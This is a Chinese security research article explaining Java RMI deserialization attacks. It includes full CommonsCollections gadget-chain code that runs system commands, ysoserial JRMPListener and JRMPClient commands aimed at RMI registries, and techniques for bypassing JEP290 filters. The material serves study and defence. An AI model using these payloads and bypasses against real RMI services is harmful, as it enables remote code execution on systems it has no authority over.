作者:天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/bC71HoEtDAKKbHJvStu9qA

JAVA RMI反序列化知識詳解

一、前言

在Java反序列化漏洞挖掘或利用的時候經常會遇見RMI,本文會講述什么是RMI、RMI攻擊方法、JEP290限制、繞過JEP290限制。

二、RMI簡介

JAVA本身提供了一種RPC框架 RMI及Java 遠程方法調用(Java Remote Method Invocation),可以在不同的Java 虛擬機之間進行對象間的通訊,RMI是基于JRMP協議(Java Remote Message Protocol Java遠程消息交換協議)去實現的。

RMI調用邏輯

RMI主要分為三部分

  • RMI Registry注冊中心
  • RMI Client 客戶端
  • RMI Server服務端

三、RMI的實現

注冊中心代碼

創建一個繼承java.rmi.Remote的接口

public interface HelloInterface extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
}

創建注冊中心代碼

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;

public class Registry {
    public static void main(String[] args) {
        try {
            LocateRegistry.createRegistry(1099);
        } catch (RemoteException e) {
            e.printStackTrace();
        }
        while (true) ;
    }
}

服務端代碼

先創建一個繼承java.rmi.Remote的接口

public interface HelloInterface extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
}

繼承UnicastRemoteObject類,實現上面的接口

public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
    public HelloImpl() throws java.rmi.RemoteException {
        super();
    }

    public String sayHello(String from) throws java.rmi.RemoteException {
        System.out.println("Hello from " + from + "!!");
        return "sayHello";
    }
}

寫服務端的啟動類,用于創建遠程對象注冊表和注冊遠程對象

public class HelloServer {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            registry.bind("hello", new HelloImpl());
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

客戶端代碼

創建接口類

public interface HelloInterface extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
}

連接注冊服務 查找hello對象

public class HelloClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            HelloInterface hello = (HelloInterface) registry.lookup("hello");
            System.out.println(hello.sayHello("flag"));
        } catch (NotBoundException | RemoteException e) {
            e.printStackTrace();
        }
    }
}

啟動服務端之后,在啟動客戶端看下.

服務端輸出了

客戶端輸出了

四、攻擊方法

服務端攻擊注冊中心

從第一張圖可以看到服務端也是向注冊中心序列化傳輸遠程對象,那么直接把遠程對象改成反序列化Gadget看下

修改服務端代碼

public class HelloServer {
    public static void main(String[] args) throws Exception {
        try {

            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /Applications/Calculator.app"}),
            };
            Transformer transformer = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map ouputMap = LazyMap.decorate(innerMap, transformer);

            TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn");
            BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

            Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
            field.setAccessible(true);
            field.set(badAttributeValueExpException, tiedMapEntry);

            Map tmpMap = new HashMap();
            tmpMap.put("pwn", badAttributeValueExpException);
            Constructor<?> ctor = null;
            ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap);
            Remote remote = Remote.class.cast(Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{Remote.class}, invocationHandler));
            Registry registry = LocateRegistry.getRegistry(1099);
            registry.bind("hello1", remote);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在服務端執行這段代碼 注冊中心計算器會彈出,這段代碼就是ysoserial工具的RMIRegistryExploit代碼,debug看下注冊中心執行過程

觸發反序列化操作位置

sun.rmi.registry.RegistryImpl_Skel#dispatch

調用棧

dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:411, UnicastServerRef (sun.rmi.server)
dispatch:272, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 736237439 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

注冊中心攻擊客戶端

首先借助ysoserial項目啟動一個JRMP服務端執行命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"

然后直接啟動上面客戶端的代碼,會發現計算器直接被彈出,debug看下客戶端代碼

代碼位置sun.rmi.registry.RegistryImpl_Stub#lookup

90行調用newCall方法創建socket連接,94行序列化lookup參數,104行反序列化返回值,而此時Registry的返回值是CommonsCollections5的調用鏈,所以這里直接反序列化就會觸發.

客戶端攻擊注冊中心

1.直接啟動上面的注冊中心代碼

2.借助ysoserial項目JRMPClient攻擊注冊中心命令

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.102.1 1099 CommonsCollections5 "open /Applications/Calculator.app"

執行完命令后計算器直接彈出來了,原因是RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集機制來管理遠程對象的生命周期,可以通過與DGC通信的方式發送惡意payload讓注冊中心反序列化。

debug注冊中心代碼看下。

sun.rmi.transport.DGCImpl_Skel#dispatch

可以看到這里進行了反序列化操作。

列下調用棧

dispatch:-1, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:411, UnicastServerRef (sun.rmi.server)
dispatch:272, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 286880721 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

JEP290

JDK6u141JDK7u131JDK 8u121加入了JEP 290限制,JEP 290過濾策略有

進程級過濾器

可以將進程級序列化過濾器作為命令行參數-Djdk.serialFilter =傳遞,或將其設置為$JAVA_HOME/conf/security/java.security中的系統屬性。

自定義過濾器

可以使用自定義過濾器來重寫特定流的進程級過濾器

內置過濾器

JDK分別為RMI注冊表和RMI分布式垃圾收集器提供了相應的內置過濾器。這兩個過濾器都配置為白名單,即只允許反序列化特定類。

這里我把jdk版本換成jdk1.8.0_181,默認使用內置過濾器。然后直接使用上面的服務端攻擊注冊中心poc看下,執行完RMI Registry會提示這樣的一個錯誤:

信息: ObjectInputFilter REJECTED: class sun.reflect.annotation.AnnotationInvocationHandler, array length: -1, nRefs: 8, depth: 2, bytes: 285, ex: n/a

debug看下

sun.rmi.registry.RegistryImpl#registryFilter

private static Status registryFilter(FilterInfo var0) {
        if (registryFilter != null) {
            Status var1 = registryFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }

        if (var0.depth() > 20L) {
            return Status.REJECTED;
        } else {
            Class var2 = var0.serialClass();
            if (var2 != null) {
                if (!var2.isArray()) {
                    return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
                } else {
                    return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
                }
            } else {
                return Status.UNDECIDED;
            }
        }
    }

白名單列表:

  • String.class
  • Number.class
  • Remote.class
  • Proxy.class
  • UnicastRef.class
  • RMIClientSocketFactory.class
  • RMIServerSocketFactory.class
  • ActivationID.class
  • UID.class

調用棧

registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$$Lambda$2)
filterCheck:1239, ObjectInputStream (java.io)
readProxyDesc:1813, ObjectInputStream (java.io)
readClassDesc:1748, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

UnicastRef對象

用UnicastRef對象新建一個RMI連接繞過JEP290的限制,看下ysoserial的JRMPClient的payload

這幾行代碼會向指定的RMI Registry發起請求,并且在白名單列表里面,在看下服務端和客戶端調用LocateRegistry.getRegistry方法的代碼。

代碼位置java.rmi.registry#getRegistry

和payload發起RMI Registry請求代碼是一樣的。

先用ysoserial啟動RMI registryjava -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open /Applications/Calculator.app"

然后把這個payload放在服務端bind看下

ObjID id = new ObjID(new Random().nextInt()); // RMI registry
            TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1199);
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
            Registry proxy = (Registry) Proxy.newProxyInstance(HelloServer.class.getClassLoader(), new Class[]{
                    Registry.class
            }, obj);
            registry.bind("hello", proxy);

在服務端執行RMI registry的計算器就彈出來了,debug RMI registry代碼看下.

調用棧

read:291, LiveRef (sun.rmi.transport)
readExternal:489, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1170, ObjectStreamClass (java.io)
readSerialData:2178, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
defaultReadFields:2287, ObjectInputStream (java.io)
readSerialData:2211, ObjectInputStream (java.io)
readOrdinaryObject:2069, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)
dispatch:76, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 168016515 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

原理就是利用在白名單的UnicastRef類來發起一個RMI連接,在高版本jdk下ysoserial的JRMPListener依然可以利用.

用Object繞JEP290限制

JEP290只是為RMI注冊表和RMI分布式垃圾收集器提供了相應的內置過濾器,在RMI客戶端和服務端在通信時參數傳遞這塊是沒有做處理的,而參數傳遞也是基于序列化數據傳輸,那么如果參數是泛型的payload,傳輸依然會有問題。

先把接口都新增一個sayPayload的方法,參數都是Object類型的

import java.rmi.Remote;

public interface HelloInterface extends java.rmi.Remote {
    public String sayHello(String from) throws java.rmi.RemoteException;
    public Object sayPayload(Object from) throws java.rmi.RemoteException;
}

在把服務端HelloImpl代碼改下,去實現這個方法。

import java.rmi.server.UnicastRemoteObject;

public class HelloImpl extends UnicastRemoteObject implements HelloInterface {
    public HelloImpl() throws java.rmi.RemoteException {
        super();
    }

    public String sayHello(String from) throws java.rmi.RemoteException {
        System.out.println("Hello from " + from + "!!");
        return "sayHello";
    }

    public Object sayPayload(Object from) throws java.rmi.RemoteException {
        System.out.println("Hello from " + from + "!!");
        return null;
    }
}

客戶端在調用這個sayPayload方法時直接傳payload看下

public class HelloClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            HelloInterface hello = (HelloInterface) registry.lookup("hello1");

            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",
                            new Class[]{String.class, Class[].class},
                            new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke",
                            new Class[]{Object.class, Object[].class},
                            new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class},
                            new Object[]{"open /Applications/Calculator.app"})
            };
            Transformer transformerChain = new ChainedTransformer(transformers);
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
            BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
            Field valfield = poc.getClass().getDeclaredField("val");
            valfield.setAccessible(true);
            valfield.set(poc, entry);

            hello.sayPayload(poc);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

執行后服務端計算器直接彈出,如果把這個payload作為sayPayload方法的返回值 客戶端計算器也會彈出。

看下反序列化的地方

sun.rmi.server.UnicastRef#marshalValue

調用棧

marshalValue:290, UnicastRef (sun.rmi.server)
dispatch:367, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 316535884 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

在實際使用場景很少有參數是Object類型的,而攻擊者可以完全操作客戶端,因此可以用惡意對象替換從Object類派生的參數(例如String),具體有如下四種bypass的思路

  • 將java.rmi包的代碼復制到新包,并在新包中修改相應的代碼
  • 將調試器附加到正在運行的客戶端,并在序列化之前替換這些對象
  • 使用諸如Javassist這樣的工具修改字節碼
  • 通過實現代理替換網絡流上已經序列化的對象

我這里使用第三個方法,由afanti師傅實現的通過RASP hook住java.rmi.server.RemoteObjectInvocationHandler類的InvokeRemoteMethod方法的第三個參數非Object的改為Object的gadget。不熟悉RASP的先要去了解下。

我這里使用CommonsCollections5這條鏈,Hook invokeRemoteMethod函數。

客戶端代碼還是不變

public class Client {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        HelloInterface hello = ( HelloInterface ) registry.lookup("hello1");
        hello.sayHello("xxx");
    }
}

VM options參數填寫rasp jar對應的地址

然后直接運行

控制臺會拋出一個錯誤 隨后計算器也直接彈出來了.

debug看下可以看到

java.rmi.server.RemoteObjectInvocationHandler#invokeRemoteMethod這里args參數的值已經修改為CommonsCollections5的gadget了.

五、總結

RMI數據傳輸都是基于序列化數據傳輸,RMI Registry、Client、Server都能相互攻擊,在你攻擊別人的時候 可能也會被人攻擊。

參考鏈接

  1. https://www.anquanke.com/post/id/200860#h2-3
  2. https://xz.aliyun.com/t/7264#toc-2](https://xz.aliyun.com/t/7264#toc-2)
  3. https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
  4. https://kingx.me/Exploit-Java-Deserialization-with-RMI.html

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1194/